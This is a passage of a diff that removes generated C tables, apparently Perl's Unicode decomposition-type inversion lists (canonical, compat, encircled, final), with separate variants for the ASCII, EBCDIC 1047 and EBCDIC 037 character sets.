0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC1, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFE, - 0x2000, - 0x2002, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x219A, - 0x219C, - 0x21AE, - 0x21AF, - 0x21CD, - 0x21D0, - 0x2204, - 0x2205, - 0x2209, - 0x220A, - 0x220C, - 0x220D, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x2241, - 0x2242, - 0x2244, - 0x2245, - 0x2247, - 0x2248, - 0x2249, - 0x224A, - 0x2260, - 0x2261, - 0x2262, - 0x2263, - 0x226D, - 0x2272, - 0x2274, - 0x2276, - 0x2278, - 0x227A, - 0x2280, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x228A, - 0x22AC, - 0x22B0, - 0x22E0, - 0x22E4, - 0x22EA, - 0x22EE, - 0x2329, - 0x232B, - 0x2ADC, - 0x2ADD, - 0x304C, - 0x304D, - 0x304E, - 0x304F, - 0x3050, - 0x3051, - 0x3052, - 0x3053, - 0x3054, - 0x3055, - 0x3056, - 0x3057, - 0x3058, - 0x3059, - 0x305A, - 0x305B, - 0x305C, - 0x305D, - 0x305E, - 0x305F, - 0x3060, - 0x3061, - 0x3062, - 0x3063, - 0x3065, - 0x3066, - 0x3067, - 0x3068, - 0x3069, - 0x306A, - 0x3070, - 0x3072, - 0x3073, - 0x3075, - 0x3076, - 0x3078, - 0x3079, - 0x307B, - 0x307C, - 0x307E, - 0x3094, - 0x3095, - 0x309E, - 0x309F, - 0x30AC, - 0x30AD, - 0x30AE, - 0x30AF, - 0x30B0, - 0x30B1, - 0x30B2, - 0x30B3, - 0x30B4, - 0x30B5, - 0x30B6, - 0x30B7, - 0x30B8, - 0x30B9, - 0x30BA, - 0x30BB, - 0x30BC, - 0x30BD, - 0x30BE, - 0x30BF, - 0x30C0, - 0x30C1, - 0x30C2, - 0x30C3, - 0x30C5, - 0x30C6, - 0x30C7, - 0x30C8, - 0x30C9, - 0x30CA, - 0x30D0, - 0x30D2, - 0x30D3, - 0x30D5, - 0x30D6, - 0x30D8, - 0x30D9, - 0x30DB, - 0x30DC, - 0x30DE, - 0x30F4, - 0x30F5, - 0x30F7, - 0x30FB, - 0x30FE, - 0x30FF, - 0xAC00, - 0xD7A4, - 0xF900, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB20, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFB4F, - 0x1109A, - 0x1109B, - 0x1109C, - 0x1109D, - 0x110AB, - 0x110AC, - 0x1112E, - 0x11130, - 0x1134B, - 0x1134D, - 0x114BB, - 0x114BD, - 0x114BE, - 0x114BF, - 0x115BA, - 0x115BC, - 0x1D15E, - 0x1D165, - 0x1D1BB, - 0x1D1C1, - 0x2F800, - 0x2FA1E -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_DT__CAN_invlist[] = { /* for EBCDIC 1047 */ - 467, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x59, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x8D, - 0x8E, - 0xBA, - 0xBB, - 0xCB, - 0xD0, - 0xDB, - 0xE0, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x110, - 0x112, - 0x126, - 0x128, - 0x131, - 0x134, - 0x138, - 0x139, - 0x13F, - 0x143, - 0x149, - 0x14C, - 0x152, - 0x154, - 0x166, - 0x168, - 0x17F, - 0x1A0, - 0x1A2, - 0x1AF, - 0x1B1, - 0x1CD, - 0x1DD, - 0x1DE, - 0x1E4, - 0x1E6, - 0x1F1, - 0x1F4, - 0x1F6, - 0x1F8, - 0x21C, - 0x21E, - 0x220, - 0x226, - 0x234, - 0x340, - 0x342, - 0x343, - 0x345, - 0x374, - 0x375, - 0x37E, - 0x37F, - 0x385, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x391, - 0x3AA, - 0x3B1, - 0x3CA, - 0x3CF, - 0x3D3, - 0x3D5, - 0x400, - 0x402, - 0x403, - 0x404, - 0x407, - 0x408, - 0x40C, - 0x40F, - 0x419, - 0x41A, - 0x439, - 0x43A, - 0x450, - 0x452, - 0x453, - 0x454, - 0x457, - 0x458, - 0x45C, - 0x45F, - 0x476, - 0x478, - 0x4C1, - 0x4C3, - 0x4D0, - 0x4D4, - 0x4D6, - 0x4D8, - 0x4DA, - 0x4E0, - 0x4E2, - 0x4E8, - 0x4EA, - 0x4F6, - 0x4F8, - 0x4FA, - 0x622, - 0x627, - 0x6C0, - 0x6C1, - 0x6C2, - 0x6C3, - 0x6D3, - 0x6D4, - 0x929, - 0x92A, - 0x931, - 0x932, - 0x934, - 0x935, - 0x958, - 0x960, - 0x9CB, - 0x9CD, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB48, - 0xB49, - 0xB4B, - 0xB4D, - 0xB5C, - 0xB5E, - 0xB94, - 0xB95, - 0xBCA, - 0xBCD, - 0xC48, - 0xC49, - 0xCC0, - 0xCC1, - 0xCC7, - 0xCC9, - 0xCCA, - 0xCCC, - 0xD4A, - 0xD4D, - 0xDDA, - 0xDDB, - 0xDDC, - 0xDDF, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF73, - 0xF74, - 0xF75, - 0xF77, - 0xF78, - 0xF79, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x1026, - 0x1027, - 0x1B06, - 0x1B07, - 0x1B08, - 0x1B09, - 0x1B0A, - 0x1B0B, - 0x1B0C, - 0x1B0D, - 0x1B0E, - 0x1B0F, - 0x1B12, - 0x1B13, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B3E, - 0x1B40, - 0x1B42, - 0x1B43, - 0x1B44, - 0x1E00, - 0x1E9A, - 0x1E9B, - 0x1E9C, - 0x1EA0, - 0x1EFA, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC1, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFE, - 0x2000, - 0x2002, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x219A, - 0x219C, - 0x21AE, - 0x21AF, - 0x21CD, - 0x21D0, - 0x2204, - 0x2205, - 0x2209, - 0x220A, - 0x220C, - 0x220D, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x2241, - 0x2242, - 0x2244, - 0x2245, - 0x2247, - 0x2248, - 0x2249, - 0x224A, - 0x2260, - 0x2261, - 0x2262, - 0x2263, - 0x226D, - 0x2272, - 0x2274, - 0x2276, - 0x2278, - 0x227A, - 0x2280, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x228A, - 0x22AC, - 0x22B0, - 0x22E0, - 0x22E4, - 0x22EA, - 0x22EE, - 0x2329, - 0x232B, - 0x2ADC, - 0x2ADD, - 0x304C, - 0x304D, - 0x304E, - 0x304F, - 0x3050, - 0x3051, - 0x3052, - 0x3053, - 0x3054, - 0x3055, - 0x3056, - 0x3057, - 0x3058, - 0x3059, - 0x305A, - 0x305B, - 0x305C, - 0x305D, - 0x305E, - 0x305F, - 0x3060, - 0x3061, - 0x3062, - 0x3063, - 0x3065, - 0x3066, - 0x3067, - 0x3068, - 0x3069, - 0x306A, - 0x3070, - 0x3072, - 0x3073, - 0x3075, - 0x3076, - 0x3078, - 0x3079, - 0x307B, - 0x307C, - 0x307E, - 0x3094, - 0x3095, - 0x309E, - 0x309F, - 0x30AC, - 0x30AD, - 0x30AE, - 0x30AF, - 0x30B0, - 0x30B1, - 0x30B2, - 0x30B3, - 0x30B4, - 0x30B5, - 0x30B6, - 0x30B7, - 0x30B8, - 0x30B9, - 0x30BA, - 0x30BB, - 0x30BC, - 0x30BD, - 0x30BE, - 0x30BF, - 0x30C0, - 0x30C1, - 0x30C2, - 0x30C3, - 0x30C5, - 0x30C6, - 0x30C7, - 0x30C8, - 0x30C9, - 0x30CA, - 0x30D0, - 0x30D2, - 0x30D3, - 0x30D5, - 0x30D6, - 0x30D8, - 0x30D9, - 0x30DB, - 0x30DC, - 0x30DE, - 0x30F4, - 0x30F5, - 0x30F7, - 0x30FB, - 0x30FE, - 0x30FF, - 0xAC00, - 0xD7A4, - 0xF900, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB20, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFB4F, - 0x1109A, - 0x1109B, - 0x1109C, - 0x1109D, - 0x110AB, - 0x110AC, - 0x1112E, - 0x11130, - 0x1134B, - 0x1134D, - 0x114BB, - 0x114BD, - 0x114BE, - 0x114BF, - 0x115BA, - 0x115BC, - 0x1D15E, - 0x1D165, - 0x1D1BB, - 0x1D1C1, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_DT__CAN_invlist[] = { /* for EBCDIC 037 */ - 467, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x59, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x8D, - 0x8E, - 0xAD, - 0xAE, - 0xCB, - 0xD0, - 0xDB, - 0xE0, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x110, - 0x112, - 0x126, - 0x128, - 0x131, - 0x134, - 0x138, - 0x139, - 0x13F, - 0x143, - 0x149, - 0x14C, - 0x152, - 0x154, - 0x166, - 0x168, - 0x17F, - 0x1A0, - 0x1A2, - 0x1AF, - 0x1B1, - 0x1CD, - 0x1DD, - 0x1DE, - 0x1E4, - 0x1E6, - 0x1F1, - 0x1F4, - 0x1F6, - 0x1F8, - 0x21C, - 0x21E, - 0x220, - 0x226, - 0x234, - 0x340, - 0x342, - 0x343, - 0x345, - 0x374, - 0x375, - 0x37E, - 0x37F, - 0x385, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x391, - 0x3AA, - 0x3B1, - 0x3CA, - 0x3CF, - 0x3D3, - 0x3D5, - 0x400, - 0x402, - 0x403, - 0x404, - 0x407, - 0x408, - 0x40C, - 0x40F, - 0x419, - 0x41A, - 0x439, - 0x43A, - 0x450, - 0x452, - 0x453, - 0x454, - 0x457, - 0x458, - 0x45C, - 0x45F, - 0x476, - 0x478, - 0x4C1, - 0x4C3, - 0x4D0, - 0x4D4, - 0x4D6, - 0x4D8, - 0x4DA, - 0x4E0, - 0x4E2, - 0x4E8, - 0x4EA, - 0x4F6, - 0x4F8, - 0x4FA, - 0x622, - 0x627, - 0x6C0, - 0x6C1, - 0x6C2, - 0x6C3, - 0x6D3, - 0x6D4, - 0x929, - 0x92A, - 0x931, - 0x932, - 0x934, - 0x935, - 0x958, - 0x960, - 0x9CB, - 0x9CD, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB48, - 0xB49, - 0xB4B, - 0xB4D, - 0xB5C, - 0xB5E, - 0xB94, - 0xB95, - 0xBCA, - 0xBCD, - 0xC48, - 0xC49, - 0xCC0, - 0xCC1, - 0xCC7, - 0xCC9, - 0xCCA, - 0xCCC, - 0xD4A, - 0xD4D, - 0xDDA, - 0xDDB, - 0xDDC, - 0xDDF, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF73, - 0xF74, - 0xF75, - 0xF77, - 0xF78, - 0xF79, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x1026, - 0x1027, - 0x1B06, - 0x1B07, - 0x1B08, - 0x1B09, - 0x1B0A, - 0x1B0B, - 0x1B0C, - 0x1B0D, - 0x1B0E, - 0x1B0F, - 0x1B12, - 0x1B13, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B3E, - 0x1B40, - 0x1B42, - 0x1B43, - 0x1B44, - 0x1E00, - 0x1E9A, - 0x1E9B, - 0x1E9C, - 0x1EA0, - 0x1EFA, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC1, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFE, - 0x2000, - 0x2002, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x219A, - 0x219C, - 0x21AE, - 0x21AF, - 0x21CD, - 0x21D0, - 0x2204, - 0x2205, - 0x2209, - 0x220A, - 0x220C, - 0x220D, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x2241, - 0x2242, - 0x2244, - 0x2245, - 0x2247, - 0x2248, - 0x2249, - 0x224A, - 0x2260, - 0x2261, - 0x2262, - 0x2263, - 0x226D, - 0x2272, - 0x2274, - 0x2276, - 0x2278, - 0x227A, - 0x2280, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x228A, - 0x22AC, - 0x22B0, - 0x22E0, - 0x22E4, - 0x22EA, - 0x22EE, - 0x2329, - 0x232B, - 0x2ADC, - 0x2ADD, - 0x304C, - 0x304D, - 0x304E, - 0x304F, - 0x3050, - 0x3051, - 0x3052, - 0x3053, - 0x3054, - 0x3055, - 0x3056, - 0x3057, - 0x3058, - 0x3059, - 0x305A, - 0x305B, - 0x305C, - 0x305D, - 0x305E, - 0x305F, - 0x3060, - 0x3061, - 0x3062, - 0x3063, - 0x3065, - 0x3066, - 0x3067, - 0x3068, - 0x3069, - 0x306A, - 0x3070, - 0x3072, - 0x3073, - 0x3075, - 0x3076, - 0x3078, - 0x3079, - 0x307B, - 0x307C, - 0x307E, - 0x3094, - 0x3095, - 0x309E, - 0x309F, - 0x30AC, - 0x30AD, - 0x30AE, - 0x30AF, - 0x30B0, - 0x30B1, - 0x30B2, - 0x30B3, - 0x30B4, - 0x30B5, - 0x30B6, - 0x30B7, - 0x30B8, - 0x30B9, - 0x30BA, - 0x30BB, - 0x30BC, - 0x30BD, - 0x30BE, - 0x30BF, - 0x30C0, - 0x30C1, - 0x30C2, - 0x30C3, - 0x30C5, - 0x30C6, - 0x30C7, - 0x30C8, - 0x30C9, - 0x30CA, - 0x30D0, - 0x30D2, - 0x30D3, - 0x30D5, - 0x30D6, - 0x30D8, - 0x30D9, - 0x30DB, - 0x30DC, - 0x30DE, - 0x30F4, - 0x30F5, - 0x30F7, - 0x30FB, - 0x30FE, - 0x30FF, - 0xAC00, - 0xD7A4, - 0xF900, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB20, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFB4F, - 0x1109A, - 0x1109B, - 0x1109C, - 0x1109D, - 0x110AB, - 0x110AC, - 0x1112E, - 0x11130, - 0x1134B, - 0x1134D, - 0x114BB, - 0x114BD, - 0x114BE, - 0x114BF, - 0x115BA, - 0x115BC, - 0x1D15E, - 0x1D165, - 0x1D1BB, - 0x1D1C1, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_DT__COM_invlist[] = { /* for ASCII/Latin1 */ - 149, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA8, - 0xA9, - 0xAF, - 0xB0, - 0xB4, - 0xB6, - 0xB8, - 0xB9, - 0x132, - 0x134, - 0x13F, - 0x141, - 0x149, - 0x14A, - 0x17F, - 0x180, - 0x1C4, - 0x1CD, - 0x1F1, - 0x1F4, - 0x2D8, - 0x2DE, - 0x37A, - 0x37B, - 0x384, - 0x385, - 0x3D0, - 0x3D3, - 0x3D5, - 0x3D7, - 0x3F0, - 0x3F3, - 0x3F4, - 0x3F6, - 0x3F9, - 0x3FA, - 0x587, - 0x588, - 0x675, - 0x679, - 0xE33, - 0xE34, - 0xEB3, - 0xEB4, - 0xEDC, - 0xEDE, - 0xF77, - 0xF78, - 0xF79, - 0xF7A, - 0x1E9A, - 0x1E9B, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC1, - 0x1FFE, - 0x1FFF, - 0x2002, - 0x2007, - 0x2008, - 0x200B, - 0x2017, - 0x2018, - 0x2024, - 0x2027, - 0x2033, - 0x2035, - 0x2036, - 0x2038, - 0x203C, - 0x203D, - 0x203E, - 0x203F, - 0x2047, - 0x204A, - 0x2057, - 0x2058, - 0x205F, - 0x2060, - 0x20A8, - 0x20A9, - 0x2100, - 0x2102, - 0x2103, - 0x2104, - 0x2105, - 0x2108, - 0x2109, - 0x210A, - 0x2116, - 0x2117, - 0x2121, - 0x2122, - 0x2135, - 0x2139, - 0x213B, - 0x213C, - 0x2160, - 0x2180, - 0x222C, - 0x222E, - 0x222F, - 0x2231, - 0x2474, - 0x24B6, - 0x2A0C, - 0x2A0D, - 0x2A74, - 0x2A77, - 0x2E9F, - 0x2EA0, - 0x2EF3, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x3036, - 0x3037, - 0x3038, - 0x303B, - 0x309B, - 0x309D, - 0x3131, - 0x318F, - 0x3200, - 0x321F, - 0x3220, - 0x3244, - 0x32C0, - 0x32CC, - 0x3358, - 0x3371, - 0x33E0, - 0x33FF, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB4F, - 0xFB50, - 0xFE49, - 0xFE50, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12B, - 0x1F240, - 0x1F249 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_DT__COM_invlist[] = { /* for EBCDIC 1047 */ - 149, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9D, - 0x9E, - 0xA0, - 0xA1, - 0xBB, - 0xBD, - 0xBE, - 0xBF, - 0x132, - 0x134, - 0x13F, - 0x141, - 0x149, - 0x14A, - 0x17F, - 0x180, - 0x1C4, - 0x1CD, - 0x1F1, - 0x1F4, - 0x2D8, - 0x2DE, - 0x37A, - 0x37B, - 0x384, - 0x385, - 0x3D0, - 0x3D3, - 0x3D5, - 0x3D7, - 0x3F0, - 0x3F3, - 0x3F4, - 0x3F6, - 0x3F9, - 0x3FA, - 0x587, - 0x588, - 0x675, - 0x679, - 0xE33, - 0xE34, - 0xEB3, - 0xEB4, - 0xEDC, - 0xEDE, - 0xF77, - 0xF78, - 0xF79, - 0xF7A, - 0x1E9A, - 0x1E9B, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC1, - 0x1FFE, - 0x1FFF, - 0x2002, - 0x2007, - 0x2008, - 0x200B, - 0x2017, - 0x2018, - 0x2024, - 0x2027, - 0x2033, - 0x2035, - 0x2036, - 0x2038, - 0x203C, - 0x203D, - 0x203E, - 0x203F, - 0x2047, - 0x204A, - 0x2057, - 0x2058, - 0x205F, - 0x2060, - 0x20A8, - 0x20A9, - 0x2100, - 0x2102, - 0x2103, - 0x2104, - 0x2105, - 0x2108, - 0x2109, - 0x210A, - 0x2116, - 0x2117, - 0x2121, - 0x2122, - 0x2135, - 0x2139, - 0x213B, - 0x213C, - 0x2160, - 0x2180, - 0x222C, - 0x222E, - 0x222F, - 0x2231, - 0x2474, - 0x24B6, - 0x2A0C, - 0x2A0D, - 0x2A74, - 0x2A77, - 0x2E9F, - 0x2EA0, - 0x2EF3, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x3036, - 0x3037, - 0x3038, - 0x303B, - 0x309B, - 0x309D, - 0x3131, - 0x318F, - 0x3200, - 0x321F, - 0x3220, - 0x3244, - 0x32C0, - 0x32CC, - 0x3358, - 0x3371, - 0x33E0, - 0x33FF, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB4F, - 0xFB50, - 0xFE49, - 0xFE50, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12B, - 0x1F240, - 0x1F249 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_DT__COM_invlist[] = { /* for EBCDIC 037 */ - 147, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9D, - 0x9E, - 0xA0, - 0xA1, - 0xBC, - 0xBF, - 0x132, - 0x134, - 0x13F, - 0x141, - 0x149, - 0x14A, - 0x17F, - 0x180, - 0x1C4, - 0x1CD, - 0x1F1, - 0x1F4, - 0x2D8, - 0x2DE, - 0x37A, - 0x37B, - 0x384, - 0x385, - 0x3D0, - 0x3D3, - 0x3D5, - 0x3D7, - 0x3F0, - 0x3F3, - 0x3F4, - 0x3F6, - 0x3F9, - 0x3FA, - 0x587, - 0x588, - 0x675, - 0x679, - 0xE33, - 0xE34, - 0xEB3, - 0xEB4, - 0xEDC, - 0xEDE, - 0xF77, - 0xF78, - 0xF79, - 0xF7A, - 0x1E9A, - 0x1E9B, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC1, - 0x1FFE, - 0x1FFF, - 0x2002, - 0x2007, - 0x2008, - 0x200B, - 0x2017, - 0x2018, - 0x2024, - 0x2027, - 0x2033, - 0x2035, - 0x2036, - 0x2038, - 0x203C, - 0x203D, - 0x203E, - 0x203F, - 0x2047, - 0x204A, - 0x2057, - 0x2058, - 0x205F, - 0x2060, - 0x20A8, - 0x20A9, - 0x2100, - 0x2102, - 0x2103, - 0x2104, - 0x2105, - 0x2108, - 0x2109, - 0x210A, - 0x2116, - 0x2117, - 0x2121, - 0x2122, - 0x2135, - 0x2139, - 0x213B, - 0x213C, - 0x2160, - 0x2180, - 0x222C, - 0x222E, - 0x222F, - 0x2231, - 0x2474, - 0x24B6, - 0x2A0C, - 0x2A0D, - 0x2A74, - 0x2A77, - 0x2E9F, - 0x2EA0, - 0x2EF3, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x3036, - 0x3037, - 0x3038, - 0x303B, - 0x309B, - 0x309D, - 0x3131, - 0x318F, - 0x3200, - 0x321F, - 0x3220, - 0x3244, - 0x32C0, - 0x32CC, - 0x3358, - 0x3371, - 0x33E0, - 0x33FF, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB4F, - 0xFB50, - 0xFE49, - 0xFE50, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12B, - 0x1F240, - 0x1F249 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_DT__ENC_invlist[] = { /* for all charsets */ - 17, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2460, - 0x2474, - 0x24B6, - 0x24EB, - 0x3244, - 0x3248, - 0x3251, - 0x327F, - 0x3280, - 0x32C0, - 0x32D0, - 0x32FF, - 0x1F12B, - 0x1F12F, - 0x1F250, - 0x1F252 -}; - -static const UV PL_DT__FIN_invlist[] = { /* for all charsets */ - 227, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xFB51, - 0xFB52, - 0xFB53, - 0xFB54, - 0xFB57, - 0xFB58, - 0xFB5B, - 0xFB5C, - 0xFB5F, - 0xFB60, - 0xFB63, - 0xFB64, - 0xFB67, - 0xFB68, - 0xFB6B, - 0xFB6C, - 0xFB6F, - 0xFB70, - 0xFB73, - 0xFB74, - 0xFB77, - 0xFB78, - 0xFB7B, - 0xFB7C, - 0xFB7F, - 0xFB80, - 0xFB83, - 0xFB84, - 0xFB85, - 0xFB86, - 0xFB87, - 0xFB88, - 0xFB89, - 0xFB8A, - 0xFB8B, - 0xFB8C, - 0xFB8D, - 0xFB8E, - 0xFB8F, - 0xFB90, - 0xFB93, - 0xFB94, - 0xFB97, - 0xFB98, - 0xFB9B, - 0xFB9C, - 0xFB9F, - 0xFBA0, - 0xFBA1, - 0xFBA2, - 0xFBA5, - 0xFBA6, - 0xFBA7, - 0xFBA8, - 0xFBAB, - 0xFBAC, - 0xFBAF, - 0xFBB0, - 0xFBB1, - 0xFBB2, - 0xFBD4, - 0xFBD5, - 0xFBD8, - 0xFBD9, - 0xFBDA, - 0xFBDB, - 0xFBDC, - 0xFBDD, - 0xFBDF, - 0xFBE0, - 0xFBE1, - 0xFBE2, - 0xFBE3, - 0xFBE4, - 0xFBE5, - 0xFBE6, - 0xFBEB, - 0xFBEC, - 0xFBED, - 0xFBEE, - 0xFBEF, - 0xFBF0, - 0xFBF1, - 0xFBF2, - 0xFBF3, - 0xFBF4, - 0xFBF5, - 0xFBF6, - 0xFBF7, - 0xFBF8, - 0xFBFA, - 0xFBFB, - 0xFBFD, - 0xFBFE, - 0xFC64, - 0xFC97, - 0xFD11, - 0xFD2D, - 0xFD3C, - 0xFD3D, - 0xFD51, - 0xFD52, - 0xFD58, - 0xFD59, - 0xFD5A, - 0xFD5C, - 0xFD5E, - 0xFD60, - 0xFD62, - 0xFD63, - 0xFD64, - 0xFD65, - 0xFD66, - 0xFD68, - 0xFD69, - 0xFD6B, - 0xFD6C, - 0xFD6D, - 0xFD6E, - 0xFD70, - 0xFD71, - 0xFD72, - 0xFD74, - 0xFD77, - 0xFD78, - 0xFD7D, - 0xFD7E, - 0xFD83, - 0xFD84, - 0xFD86, - 0xFD87, - 0xFD88, - 0xFD8B, - 0xFD8C, - 0xFD96, - 0xFD98, - 0xFD99, - 0xFD9D, - 0xFD9E, - 0xFDB4, - 